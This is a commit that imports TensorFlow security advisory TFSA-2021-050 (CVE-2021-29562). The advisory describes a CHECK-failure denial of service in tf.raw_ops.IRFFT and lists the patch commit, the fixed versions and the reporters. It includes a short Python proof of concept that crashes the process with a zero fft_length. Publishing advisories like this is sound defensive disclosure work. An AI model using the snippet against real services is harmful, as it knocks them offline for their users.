chore: import upstream snapshot with attribution

tensorflow/security/advisory/tfsa-2021-050.md

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+## TFSA-2021-050: `CHECK`-fail in `tf.raw_ops.IRFFT`
+
+### CVE Number
+CVE-2021-29562
+
+### Impact
+An attacker can cause a denial of service by exploiting a `CHECK`-failure coming
+from the implementation of `tf.raw_ops.IRFFT`:
+
+```python
+import tensorflow as tf
+
+values = [-10.0] * 130
+values[0] = -9.999999999999995
+inputs = tf.constant(values, shape=[10, 13], dtype=tf.float32)
+inputs = tf.cast(inputs, dtype=tf.complex64)
+fft_length = tf.constant([0], shape=[1], dtype=tf.int32)
+
+tf.raw_ops.IRFFT(input=inputs, fft_length=fft_length)
+```
+
+The above example causes Eigen code to operate on an empty matrix. This triggers
+on an assertion and causes program termination.
+
+### Patches
+We have patched the issue in GitHub commit
+[1c56f53be0b722ca657cbc7df461ed676c8642a2](https://github.com/tensorflow/tensorflow/commit/1c56f53be0b722ca657cbc7df461ed676c8642a2).
+
+The fix will be included in TensorFlow 2.5.0. We will also cherrypick this
+commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow
+2.1.4, as these are also affected and still in supported range.
+
+### For more information
+Please consult [our security
+guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for
+more information regarding the security model and how to contact us with issues
+and questions.
+
+### Attribution
+This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu
+X-Team.